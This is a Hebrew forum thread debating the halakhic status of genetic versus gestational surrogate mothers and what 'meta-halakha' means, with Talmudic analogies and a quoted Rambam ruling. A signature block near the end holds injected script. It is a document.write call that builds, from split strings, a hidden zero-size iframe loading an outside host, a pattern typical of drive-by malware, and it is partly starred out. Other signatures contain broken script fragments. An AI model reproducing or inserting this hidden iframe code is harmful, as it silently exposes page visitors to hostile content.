אם פונדקאית - הלכה ומטא הלכה

[הערת שוליים שולית לחלוטין - 

כותרת האשכול היא "אם פונדקאית - הלכה ומטא הלכה", אבל אחרי עיון מעמיק בכל דפיו, לא מצאתי בהם אפילו שבב של "מטא-הלכה" בתוך ערמות ההלכה. בניגוד למה שיכול להשתמע מדבריי, אין זו הערה לשונית בלבד.
בתלמוד, אני חשה פעמים רבות שהעיסוק בפרטי הפרטים ההלכתיים של נושא כלשהו, תוך העלאת אפשרויות-קצה מופרכות מבחינה מציאותית וכו', הוא דרך מסויימת להגיע דווקא אל המהות, אל הגרעין הרעיוני של קושיה פרקטית כלשהי, אם תרצו - אל ה"מטא-הלכה" שלה.
בדיון על פונדקאות, יש כ"כ הרבה "מטא-הלכה" אפשרית - שאלות של מוסר אנושי ויחסים בין בני אדם (למשל - האם פונדקאות היא ניצול גופני של נשים עניות בידי נשים וגברים עשירים, בדומה לזנות ולסחר בנשים?), שאלות על זהות (למשל - מה מגדיר את זהותנו? האם לגנטיקה יש מרכיב כלשהו בזהות בכלל, ובזהות יהודית בפרט?) ועוד ועוד. אף אחת מן השאלות הללו לא עלתה כאן, ונדמה לי, שבניגוד לתלמוד, באשכול הזה פרטי הדקדוקים ודקדוקי הפרטים ההלכתיים אין מטרתם להתקרב ככל האפשר אל היסודות הרעיוניים, אלא להיפך - להרחיק ולהתרחק ככל שניתן מן השאלות הערכיות, המוסריות והדתיות. זה לא שדיון כזה אינו מעניין, זה שהחשיבות שלו מצומצמת להחריד, ובעצב אני אומרת - גם מצמצמת להחריד.]

אמשלום

 את צודקת לחלוטין, אני פתחתי את האשכול, השם שנתתי לו היה "אם פודקאית", לא התכוונתי לדון על ההשלכות המטא הלכתיות של אם פונדקאית. שאלות כאלו תלויות בדעתו, בחינוכו, וברצונותיו של כל כותב, והברברת אינה מעניינת אותי.

[אכפתלי,

בניגוד אליך, אין לי כנראה הכלים להבדיל בין מי שלמד כל חייו ובין מי ש"הסתובב כמה שנים בישיבה". למרות זאת, אני חוזרת על דבריי - הדיון באשכול הזה אין לו אפילו לא קצה קצהו של "מטא-הלכה" (ובניגוד לדבריך, ש"ההשלכות המטא הלכתיות של אם פונדקאית נמצאות ברקע"). בשונה ממך, אני חושבת שהאשכול הזה עונה לחלוטין על ציפיותיך ממנו (ולא עונה על ציפיות מחליף כותרתו). לכך בדיוק מכוון הסיפא של דבריי לעיל...]

אמשלום

זה אני ששיניתי את שם האשכול. השם המקורי היה עם טעות הקלדה, וחסרה בו נ'. כיון שהשלמתי, הרחבתי. לדעתי הנושא שלנו הוא דוגמא לנושא כללי שנידון בזמן האחרון וראוי להידון תמיד: מטא הלכה.

כיון שהזכרתי את המונח הזה עלי להבהיר כיצד אני משתמש בו. אין זה כולל תחום מסויים של עקרונות, כפי שהיו שניסו להשתמש בו, או אפילו התבוננות פילוסופית בהלכה (למרות שגם אני הק' השתמשתי במתודה הזו) אלא כל מה שאינו הלכה הנוגעת לנושא שעלה לדיון.

הדוגמאות שלך לעקרונות שהיה צריך להביא בחשבון הן אכן מטא הלכה: המוסר, ההשלכות לגבי הסביבה האנושית. הזכרתי אותם, את הנושאים והעקרונות בשמותיהם באופן כללי, אבל לא דנתי בהם כי איני יודע מה הם ואיך הם יבואו לידי ביטוי. את מוזמנת להציע את המבט שלך. אני מזכיר שכתבתי כי קשה להכריע הלכה כל עוד מצב לא התגבש ויש שינויים. הצעתי להמתין עד שיהיו לנו מקרים רבים כאלו. חלק ממה שזה יעניק לנו (וקודם לא כתבתי זאת מספיק ברור) הוא לראות כיצד הכרעות משפיעות ומי נזקק להן במישרין ובסביבה העקיפה יותר. (דוגמא מהתחום הכללי הרחב: הזרעה של אלמנה מזרע שהשאיר בעלה נוגעת לא רק לה ולולד ולדיני ייבום אלא גם להורי המנוח שזוכים לשריד מהבן שהלך לעולמו. הם כנראה לא מאן דאמר מצד ההלכה נטו, שהרי היום יש תא משפחתי בעל-אשה ולא שבט, אבל הרגש מזמין אותנו להתייחס והדמיון מראה את הצורך הנורא שלהם).

***
מה אכפת לך

כמה הערות והסברים.

כתבת שהמטא הלכה אינה משנה לך. איני יודע איך אתה משתמש במילה זו בדיוק. כפי שטענתי אני, אין כאן חילוק בין מה שהוא דיון תורני לדיון אקדמי (אם כי יש משתמשים כך במילה זו). כוונתי היא לחילוק בתוך התחום ההלכתי בין ניתוח המקרה המסויים וכל מה שחל עליו מתוך הנושא הספציפי לבין מה שמבחוץ. (למשל, השאלה אם כבוד הבריות דוחה איסורים מהתורה היא כולה שאלה במטא הלכה. השאלה אם פיקוח נפש דוחה שבת אמורה להיות כל כולה מטא הלכה. וכבר הביאו את הדוגמא הזו באחד האשכולות וראוי לדעתי להקדיש לה אשכול בפני עצמה. כאן הבאתי זאת רק כדוגמאות למהי מטא הלכה בשימוש הלשון שלי).

ולא עוד, אלא שכאשר יש לפנינו שאלה חדשה, שאין עליה מסורת, וכל מה שאפשר לעשות הוא לנסות לדייק מסוגיות אחרות, מה שיקבע יהיה לא רק הניתוח של המקרה לפרטי פרטיו, כדי להבדיל מה עקרוני ומה לא, אלא גם המטא הלכה שקובעת פעמים רבות.

אם התכוונת לדעת רק מה היו שיקולי הרב עמר, אזי אני משתתף בצערך כי עד כמה שראיתי איש אינו יודע ואינו מכיר (לבד אולי מן הלינקים של נישטאיך שאפשר גם שהוא יודע ומכיר) ואם הרב ד"ר הלפרין יודע זאת, הוא לא שיתף אותנו.

אני הבנתי, אולי בטעות, שכוונתך לדון בשאלה הזו מכל צד אפשרי ורלוונטי. כך עשיתי, וכך השתדלו לעשות אחרים.

כינית את מאמצי חלקנו (איני מאמין שאתה מתייחס לכולם כך) "ברברת" ו"סברות כרס". כמובן, גם אם כתבת כך זה מביע רק את דעתך ואינו חופף למציאות בהכרח אלא לדעתך, אבל עדיין אלו הן מילים פוגעות.

"ברברת" זה כינוי לדיבור חסר ערך. האם באמת מה שנכתב כאן, גם על ידי, הוא מסוג זה? (איני שואל על דברי ד"ר הלפרין למשל אבל על דברי שלי). אני סבור שמה שהצעתי הוא ניתוח של הצדדים הרלוונטיים. בדיוק כפי שאנו עושים בכל סוגיה וסוגיה בעולם הישיבות, או שכך ראוי לעשות.

המונח "סברות כרס" פחות ברור לי. אם הכוונה לסברות שאינן מעוגנות בטקסטים ובמקורות אזי זה כמעט נכון. אלו סברות שאינן כתובות במפורש. אבל ניתן לדלותן מתוך מעיין הסוגיות על ידי דיוק וניתוח. יש גם בביטוי זה משום זלזול. לא "סברות השכל" (אם כי אני מפקפק בקיומו של יש כזה ללא בירור נוסף) אלא דברים שנובעים מנהמת המעיים שמונעים לפעמים בידי רעב או שובע, או בכל אופן יש כאן זלזול.

חבל.

***
דייר

ההבדלה בין מטא הלכה להלכה עצמה היא קצת מלאכותית. זה חילוק שיכול לסייע לנו בניתוח של סוגיות. ואם הוא מועיל, אז למה לא להשתמש בו. במיוחד שלדעתי אין הוא כפוי מבחוץ על מה שאנו עושים אלא משקף חלוקה פנימית ברורה למדי, ברגע שמכירים אותה, בין סוגי שיקולים שניתנים לבדיקה.

אני מדגים שוב מהי מטא הלכה למרות שאיני רוצה להסב את הדיון למהי מטא הלכה. כאשר רב שואל את חברו מה טעם נאסרה גבינה של גויים, והלה מתחמק מלענות לו מפני שזו גזירה חדשה, יש כאן שימוש במטא הלכה, או, אם נדייק, הלכה בתחום כללי דיון וגילוי שקובעת שאין לעסוק בבירור טעם ההלכה הספציפית לפני כל אחד ואחד.

כאשר רב מגיע למסקנה שהשוגג בשבת אין עליו איסור לאכול ממה שהתבשל בשוגג גם בתוך השבת, אבל אין ראוי לגלות כן לציבור הרחב, אם בגלל שיש שישתמשו בהיתר בהרחבה, ואם בגלל שהמסורת כבר אוסרת אבל באמת צריך להיות מותר, אזי יש כאן שילוב של הלכה (מותר) למטא הלכה (אסור לומר מסיבות אלו ואלו).

בדוגמא שלנו השאלה ההלכתית היא מה דין שתי הנשים להחשב כאם.

השאלות המטא הלכתיות יכולות להיות רבות. החל בשאלה איך פותרים מצבים חדשים (כהארת יהי אור) ועד לשיקולים מוסריים וערכיים של היחס לבן, לאב ולאם ואפילו אולי שיקולים פמיניסטיים (אני כותב זאת בזהירות ומתוך הסתייגות. כוונתי לסוג של שיקולים שמעלות נשים המביעות חשש כי פרשני ההלכה אינם מודעים מספיק לצרכיהן. (ואולי הן תובעות לעצמן קול במובן של זכות השתתפות בדיונים).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

עציוני

כוונתך מן הסתם לסוגיה זו:

ביליצר

שמחתי לגלות שהנסיון שלי לדמות מילתא למילתא (=דבר לדבר) למרות היותו מרוחק והנושאים שונים מאד עדיין זכה לתהודה וגם אתה חשבת כן. כבר טענתי לעיל שהסברות שניתן לנסח במפורש וגלומות בסוגיות אלו של זרע וקרקע אפשר שהן פועלות ופעלו אצל הפוסקים והשפיעו על השיקלול שלהם אם כי לפעמים זה בלתי מודע וזה מה שנכלל במונח המפורסם הלקוח מהרא"ש, "דעת תורה", כלומר הבנה שלא מנוסחת במילים והיא על סמך התרשמות כללית מן הידע התורני המקיף ולדעתי הכוונה למה שכתבתי כאן: הבנה לא מפורשת אבל נכונה (אבל לא הכרחית) של הנחות יסוד של סוגיות. וזה נושא חשוב מאד וראוי להידון בפני עצמו.

אשר לדוגמא שלך מאותה משנה בסוף בבא מציעא, אף אני סבור כמוך. וזו אחת הדוגמאות לעיקרון שהקרקע חשובה מהזרע בעיני חז"ל.

(חשבתי שאולי יש כאן גורם נוסף והוא שבעל הקרקע תמיד חשוב וחזק יותר כלכלית מאשר בעל הזרע. קרקע היא נכס יציב ובעל אחוזה הוא גם אדם מבוסס. וכמדומה שכך זה בהיסטוריה בכל מקום ולא רק בתולדות עמנו. ומעמד מיוחס זה אולי גם כן היה שיקול בהעדפת מתן הפירות לבעל הקרקע. ועוד שהרי הקרקע גם כן מצמחת אם כי הזרע יקבע מה יגדל שם. ועל כל פנים בעינינו היום הזרע אמור להיות חשוב יותר. כך זה בעיני. ואפשר שהשתנו תפיסותינו, ובין השאר יש אצלנו איזו דמוקרטיזציה והעדפת היחיד גם העני על פני בעל הממון והקרקע וזה פועל ברקע כפי שהדגמתי לעיל).


לגבי ויתור, זו סברה קשה מאד אבל מעניינת ואולי "מה אכפת לך" ידון אותה כברברת. אבל זה עדיין להשתעשע בדברי תורה.

התבססתי על ההנחה שלי כי שתי האמהות, אמא ביצית ואמא פונדק, לשתיהן יש טענה שהן האם האמיתית ההלכתית. כל אחת תורמת מה שאי אפשר בלעדיו (כך שאין כאן מסייע שאין בו ממש) אבל מצד שני אנו רגילים לחשיבה דיכוטומית הקובעת שיש רק אם אחת ולא יותר.

כל הדיונים פרט לאפשרות זו כאן ניסו לאתר את האם המקורית. כפי שהביא ד"ר הלפרין מהרב אלישיב וחזרתו. שהמשותף לכל פסקיו הוא שיש רק אם אחת אלא ששינה דעתו מיהי.

אני באתי להציע שמה שקובע אינו רק המציאות של התרומה האמהית (שכאן כאמור לעיל יש יתרון לאם הגנטית שהיא קובעת תכונות הולד ויש יתרון לפונדקאית שהיא מגדלת אותו תשעה חודשים). אלא מה חשוב בעיני האדם.

ויתכן ש"חשוב" זה אינו ניתן לפתרון עקרוני אלא שהוא תלוי בנסיבות.

כלומר, מי שמקדישה עצמה לולד יותר היא תחשב לאם והשניה רק העניקה שירותים מסויימים ולא יותר.

הסברה הזו נראית מוזרה, אני מסכים, וגם יש בה חסרון שאין היא מאפשרת תשובה עקבית. פעם זו תהיה האם ופעם זו. (ויש לנו סוגיות שאין לענות תשובות סותרות לאותו אדם בו זמנית, אבל משם גם למדים שכן ניתן לספק תשובות סותרות בפעמים נפרדות, וכתיבה בספר אינה נחשבת כמתן תשובה בו זמנית ולכן זה חל!)

אם הפונדקאית רק משכירה שירותי פונדק לפי הזמנה של זוג שהאם אינה מסוגלת לשמש כפונדק אבל הביצית שלה, סילקה עצמה הפונדקאית מן האמהות.

אם תורמת הביצית רק מכרה אותה לזוג שרוצה ילד ובת הזוג מבקשת לפחות להיות פונדקאית, היא תהיה האם והראשונה רק מכרה את הביצית שלה.

לפי זה הבן רשאי מן התורה לבוא על זו שויתרה על האמהות בכך שרק נתנה שירות אלא שכמובן יהיה עלינו לאסור זאת כפי שאסרו על גר ואמו שהתגיירה להינשא למרות שגר כקטן שנולד.

יש לשים לב כי האיסור האחרון הזה הוא דוגמא למטא הלכה. הגר מותר באמו הגיורת אלא שיש כאן "מה יאמרו" ברמה עקרונית ומסוכנת מאד.

__תוקנה טעות הקלדה ונוסף משפט  מאד חשוב בסוף_______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

מה אכפת לך

תודה על ההבהרה. ולפי דרכנו למדנו שוב כי ראוי להסביר ביקורת ולא להסתפק במילים ביקורתיות שגם יעדן אינו ברור.

לגבי חילול שבת של רופא יהודי עבור נכרי, אני מסכים שההיתר (כגון של המ"ב שאף הוא התיר כמדומה, וכן ידוע לי על פסקים של רבנים בני זמננו אבל הם לא פורסמו ברבים....) מבוסס על מטא הלכה. אבל מטא הלכה במובן שכתבתי: שיקול הלכתי שלקוח מתחום נוסף. למשל, משום איבה.

אך אם דבר הותר נחזור ונחייב את העושה חטאת (או עונש)? אתמהה. (יש אמנם סוגיה שממנה משמע שעמי הארצות טועים לחשוב שהם עושים מצוה, קבורה ביום טוב שני, וזקוקים לכפרה. אבל זו לא חשיבה הלכתית אלא דמיון מוטעה של עם הארץ!).

לגבי אי העמקה בסוגיות, אני מסכים שכתבתי דברים ראשוניים או על כל פנים לא סופיים וזאת כי אין לי הכרעה בדבר. אבל אני כן סומך על מה שניתחתי ורק יודע שיש עוד צדדים שאפשר להראות לכאן ולכאן. ועם כל זאת פירסמתי כי מנאי ומינך תתרחב שמעתתא.

אם אתה רואה נקודות שבהן לא דייקתי או שיש להוסיף עוד, אנא ואנא כתוב ופרט.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

מימוני

 הסיבה שהולד כהן היא מדין "יכיר" כי אביו, בעלה של האם שילדה את הילד, (ארוס הוא כבעל לכל דבר) קבע שזה בנו,

רמב"ם הלכות איסורי ביאה פרק טו הלכה יז

ארוסה שנתעברה והיא בבית אביה הרי הולד בחזקת ממזר ואסור בבת ישראל ואסור בממזרת, ואם נבדקה אמו ואמרה מארוסי נתעברתי נאמנת והולד כשר, ואם הכחישה הארוס ואמר מעולם לא באתי עליה הרי הולד ממזר שאפילו היה בחזקת בנו ואמר בני זה ממזר נאמן, והאשה אינה בחזקת זונה אלא נאמנת לומר לארוס נבעלתי ואינה זונה, ואם נשאת לכהן לא תצא וולדה ממנו כשר.

 לגבי החלק השני אתה כבר כתבת מה דעתי בעניין.